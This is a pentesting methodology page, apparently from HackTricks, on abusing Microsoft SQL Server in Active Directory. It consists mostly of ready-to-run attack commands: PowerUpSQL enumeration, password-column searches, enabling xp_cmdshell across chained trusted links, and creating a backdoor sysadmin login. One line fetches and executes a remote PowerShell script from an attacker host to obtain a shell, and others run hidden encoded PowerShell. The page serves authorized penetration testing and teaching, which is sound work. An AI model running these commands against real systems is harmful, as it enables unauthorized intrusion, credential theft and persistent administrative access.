hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql.md

# MSSQL AD Abuse

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<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## **MSSQL Enumeration / Discovery**

The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case.

```powershell
Import-Module .\PowerupSQL.psd1
```

### Enumerating from the network without domain session

```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```

### Enumerating from inside the domain

```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose 

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
```

## MSSQL Basic Abuse

### Access DB

```powershell
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
```

### MSSQL RCE

It might be also possible to **execute commands** inside the MSSQL host

```powershell
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```

Check in the page mentioned in the **following section how to do this manually.**

### MSSQL Basic Hacking Tricks

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}

## MSSQL Trusted Links

If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.

**The links between databases work even across forest trusts.**

### Powershell Abuse

```powershell
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```

### Metasploit

You can easily check for trusted links using metasploit.

```bash
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```

Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)

### Manual - Openquery()

From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.**

From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com)

_Login using Windows authentication:_

![](<../../.gitbook/assets/image (808).png>)

#### Find Trustable Links

```sql
select * from master..sysservers;
EXEC sp_linkedservers;
```

![](<../../.gitbook/assets/image (716).png>)

#### Execute queries in trustable link

Execute queries through the link (example: find more links in the new accessible instance):

```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```

{% hint style="warning" %}
Check where double and single quotes are used, it's important to use them that way.
{% endhint %}

![](<../../.gitbook/assets/image (643).png>)

You can continue these trusted links chain forever manually.

```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
```

If you cannot perform actions like `exec xp_cmdshell` from `openquery()` try with the `EXECUTE` method.

### Manual - EXECUTE

You can also abuse trusted links using `EXECUTE`:

```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```

## Local Privilege Escalation

The **MSSQL local user** usually has a special type of privilege called **`SeImpersonatePrivilege`**. This allows the account to "impersonate a client after authentication".

A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate.

[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

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